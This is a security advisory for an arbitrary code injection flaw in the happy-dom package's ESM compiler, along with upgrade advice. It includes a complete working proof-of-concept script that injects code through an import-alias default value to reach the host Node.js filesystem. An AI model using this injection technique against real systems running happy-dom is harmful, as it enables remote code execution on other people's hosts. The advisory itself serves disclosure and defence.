Arbitrary Code Injection Affecting org.webjars.npm:happy-dom package, versions [17.0.0,21.0.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.37% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-21691241
  • published24 Oct 2026
  • disclosed23 Oct 2026
  • creditLIU, I-HSIANG

Introduced: 23 Oct 2026

NewCVE-2026-115895  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.webjars.npm:happy-dom to version 21.0.4 or higher.

Overview

org.webjars.npm:happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the ESM compiler (ECMAScriptModuleCompiler.ts), which fails to validate import alias default-value expressions in ES module source text before passing them to an evaluator. An attacker who can cause a page to load a module script containing an import binding with an injected default-value expression (e.g. import { missing as x = <arbitrary JS> } from '...') can achieve arbitrary code execution on the host Node.js process, including access to the filesystem through process.getBuiltinModule.

PoC

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create package.json

{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Create `dep.json`

{}

3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Create `poc.mjs`

import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Run the control test

npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC

node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF

Note: The PoC targets happy-dom 20.14.5 and was verified inside a node:24-alpine Docker container.

CVSS Base Scores

version 4.0
version 3.1